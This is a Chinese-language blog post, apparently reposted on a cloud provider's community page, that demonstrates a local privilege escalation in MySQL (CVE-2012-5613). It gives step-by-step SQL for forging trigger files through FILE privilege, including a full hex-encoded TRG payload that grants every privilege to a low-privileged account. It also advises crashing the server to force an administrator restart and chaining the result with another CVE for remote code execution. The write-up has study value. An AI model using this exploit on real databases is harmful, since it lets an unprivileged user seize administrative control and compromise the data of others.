cve-2012-5613 mysql本地提權

來源:互聯網
上載者:User

標籤:

cve-2012-5613  是一個通過FILE許可權寫Trigger的TRG隱藏檔(即偽造Trigger),由root觸發而導致許可權提升的漏洞。不知道為什麼這個漏洞一直沒修,可能mysql認為這是一個特性吧。

準備

測試環境:

Server version: 5.5.48-log Source distribution

在test資料庫中建立一個觸發器:

 

create table foo (a INT, b INT, ts TIMESTAMP);

create table bar (a INT, b INT);

 

INSERT INTO foo (a,b) VALUES(1,1);

INSERT INTO foo (a,b) VALUES(2,2);

INSERT INTO foo (a,b) VALUES(3,3);

 

DELIMITER ///

 

CREATE TRIGGER ins_sum AFTER UPDATE ON foo

    FOR EACH ROW

    BEGIN

        IF NEW.ts <> OLD.ts THEN 

            INSERT INTO bar (a, b) VALUES(NEW.a, NEW.b);

        END IF;

    END;

///

 

DELIMITER ;

建立觸發器完成後,發現在mysql目錄(/usr/local/mysql/var/test/)產生foo.TRG和ins_sum.TRN檔案,所有者為mysql

換一個更簡單的Trigger:

DROP TRIGGER IF EXISTS ins_sum;

 

DELIMITER ///

 

CREATE TRIGGER ins_sum AFTER UPDATE ON foo

    FOR EACH ROW

    BEGIN

 

            update user set sex =3 where id =1  ;

       

    END;

///

 

DELIMITER ;

此時TRG檔案內容:

TYPE=TRIGGERS

\n    END‘    update user set sex =3 where id =1  ; AFTER UPDATE ON foo

sql_modes=0

definers=‘[email protected]%‘

client_cs_names=‘utf8mb4‘

connection_cl_names=‘utf8mb4_general_ci‘

db_cl_names=‘utf8mb4_general_ci‘

 

開始測試:

建立一個普通使用者,只有file許可權+test的select許可權

 

 CREATE USER ‘sec_usr123‘@‘%‘  IDENTIFIED BY ‘sec_usr123‘;

GRANT FILE ON *.* TO ‘sec_usr123‘@‘%‘ ;

GRANT SELECT ON `test`.* TO ‘sec_usr123‘@‘%‘;

flush privileges

 

在root下,建立一個觸發器,試圖直接通過觸發器觸發將普通使用者變為super user失敗:

DROP TRIGGER IF EXISTS ins_sum;

 

DELIMITER ///

 

CREATE TRIGGER ins_sum AFTER UPDATE ON foo

    FOR EACH ROW

    BEGIN

grant all privileges on *.* to [email protected]‘%‘ with grant option;

 

       

        

    END;

///

 

DELIMITER ;

換一種寫法(https://raw.githubusercontent.com/offensive-security/exploit-database/master/platforms/linux/local/23077.pl):

 DROP TRIGGER IF EXISTS ins_sum;

 

DELIMITER ///

 

CREATE TRIGGER ins_sum AFTER UPDATE ON foo

    FOR EACH ROW

    BEGIN

        UPDATE  mysql.user  SET  Select_priv=‘Y‘,  Insert_priv=‘Y‘,  Update_priv=‘Y‘,  Delete_priv=‘Y‘,  Create_priv=‘Y‘,  Drop_priv=‘Y‘,  Reload_priv=‘Y‘,  Shutdown_priv=‘Y‘,  Process_priv=‘Y‘,  File_priv=‘Y‘,  Grant_priv=‘Y‘,  References_priv=‘Y‘,  Index_priv=‘Y‘,  Alter_priv=‘Y‘,  Show_db_priv=‘Y‘,  Super_priv=‘Y‘,  Create_tmp_table_priv=‘Y‘,  Lock_tables_priv=‘Y‘,  Execute_priv=‘Y‘,  Repl_slave_priv=‘Y‘,  Repl_client_priv=‘Y‘,  Create_view_priv=‘Y‘,  Show_view_priv=‘Y‘,  Create_routine_priv=‘Y‘,  Alter_routine_priv=‘Y‘,  Create_user_priv=‘Y‘,  ssl_type=‘Y‘,  ssl_cipher=‘Y‘,  x509_issuer=‘Y‘,  x509_subject=‘Y‘,max_questions=‘Y‘,  max_updates=‘Y‘,  max_connections=‘Y‘  WHERE  User=‘sec_usr1234foo‘;

    END;

///

 

DELIMITER ;

成功。

 

嘗試使用fie許可權寫入觸發器目錄:

SELECT   ‘1111‘  INTO OUTFILE  ‘/usr/local/mysql/var/test/1.txt‘

 

寫入成功。

通過outfile寫檔案的方式(此方式檔案已存在則報錯)

普通使用者sec_usr現在使用file許可權建立TRG檔案:

SELECT   ‘TYPE=TRIGGERS\ntriggers=\‘CREATE DEFINER=\`root\`@\`%\` TRIGGER ins_sum AFTER UPDATE ON foo\n\\n    FOR EACH ROW\n\\n    BEGIN\n\\n\n\\n            update user set sex =3 where id =1  ;\n\\n\n\\n    END\‘\nsql_modes=0\ndefiners=\‘[email protected]%\‘\nclient_cs_names=\‘utf8mb4\‘\nconnection_cl_names=\‘utf8mb4_general_ci\‘\ndb_cl_names=\‘utf8mb4_general_ci\‘   ‘

INTO OUTFILE  ‘/usr/local/mysql/var/test/foo.TRG‘   FIELDS ESCAPED BY ‘ ‘;

SELECT   ‘TYPE=TRIGGERNAME\ntrigger_table=foo‘ INTO OUTFILE  ‘/usr/local/mysql/var/test/ins_sum.TRN‘  FIELDS ESCAPED BY ‘ ‘;

重啟mysql

sudo /etc/init.d/mysql restart

多次嘗試發現有backslash帶入,mysql重啟載入失敗。

換16進位寫入,注意要使用dumpfile而不是outfile:

 

 SELECT 545950453D54524947474552530A74726967676572733D2743524541544520444546494E45523D60726F6F746040602560205452494747455220696E735F73756D20414654455220555044415445204F4E20666F6F0D5C6E20202020464F52204541434820524F570D5C6E20202020424547494E0D5C6E202020202020202055504441544520206D7973716C2E757365722020534554202053656C6563745F707269763D5C27595C272C2020496E736572745F707269763D5C27595C272C20205570646174655F707269763D5C27595C272C202044656C6574655F707269763D5C27595C272C20204372656174655F707269763D5C27595C272C202044726F705F707269763D5C27595C272C202052656C6F61645F707269763D5C27595C272C202053687574646F776E5F707269763D5C27595C272C202050726F636573735F707269763D5C27595C272C202046696C655F707269763D5C27595C272C20204772616E745F707269763D5C27595C272C20205265666572656E6365735F707269763D5C27595C272C2020496E6465785F707269763D5C27595C272C2020416C7465725F707269763D5C27595C272C202053686F775F64625F707269763D5C27595C272C202053757065725F707269763D5C27595C272C20204372656174655F746D705F7461626C655F707269763D5C27595C272C20204C6F636B5F7461626C65735F707269763D5C27595C272C2020457865637574655F707269763D5C27595C272C20205265706C5F736C6176655F707269763D5C27595C272C20205265706C5F636C69656E745F707269763D5C27595C272C20204372656174655F766965775F707269763D5C27595C272C202053686F775F766965775F707269763D5C27595C272C20204372656174655F726F7574696E655F707269763D5C27595C272C2020416C7465725F726F7574696E655F707269763D5C27595C272C20204372656174655F757365725F707269763D5C27595C272C202073736C5F747970653D5C27595C272C202073736C5F6369706865723D5C27595C272C2020783530395F6973737565723D5C27595C272C2020783530395F7375626A6563743D5C27595C272C6D61785F7175657374696F6E733D5C27595C272C20206D61785F757064617465733D5C27595C272C20206D61785F636F6E6E656374696F6E733D5C27595C27202057484552452020557365723D5C277365635F75737231323334666F6F5C273B200D5C6E20202020454E44270A73716C5F6D6F6465733D300A646566696E6572733D27726F6F744025270A636C69656E745F63735F6E616D65733D27757466386D6234270A636F6E6E656374696F6E5F636C5F6E616D65733D27757466386D62345F67656E6572616C5F6369270A64625F636C5F6E616D65733D27757466386D62345F67656E6572616C5F6369270A into dumpfile ‘/usr/local/mysql/var/test/foo.TRG‘ ;

 SELECT 0x545950453D545249474745524E414D450A747269676765725F7461626C653D666F6F0A   into dumpfile ‘/usr/local/mysql/var/test/ins_sum.TRN‘ ;

 

重啟mysql,root使用者執行UPDATE進行觸發:

select * from mysql.user   where User = ‘sec_usr1234foo‘;  

 

update foo set a=9 where b=1;

select * from mysql.user   where User = ‘sec_usr1234foo‘;

 

 總結一下cve-2012-5613:

利用條件:

1. 普通使用者+file許可權+select許可權

2.管理員需要重啟mysql一次,觸發一次觸發器(INSERT, UPDATE or DELETE.)

攻擊方式:

最好有一個和遠程環境相同的環境,預先產生TRG和TRN檔案的16進位,然後通過dumpfile到目標的mysql目錄裡面。讓管理員可以通過mysql拒絕服務,mysql宕機管理自然會重啟。如何讓管理員觸發,則隨機應變吧。

 

至此sec_usr1234foo擷取了super user許可權,可以執行set global general_log,結合上上篇文章CVE-2016-6662( http://www.cnblogs.com/xiaoxiaoleo/p/5873091.html),就達到了所謂的普通使用者遠程RCE的效果。

 

 

cve-2012-5613 mysql本地提權

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.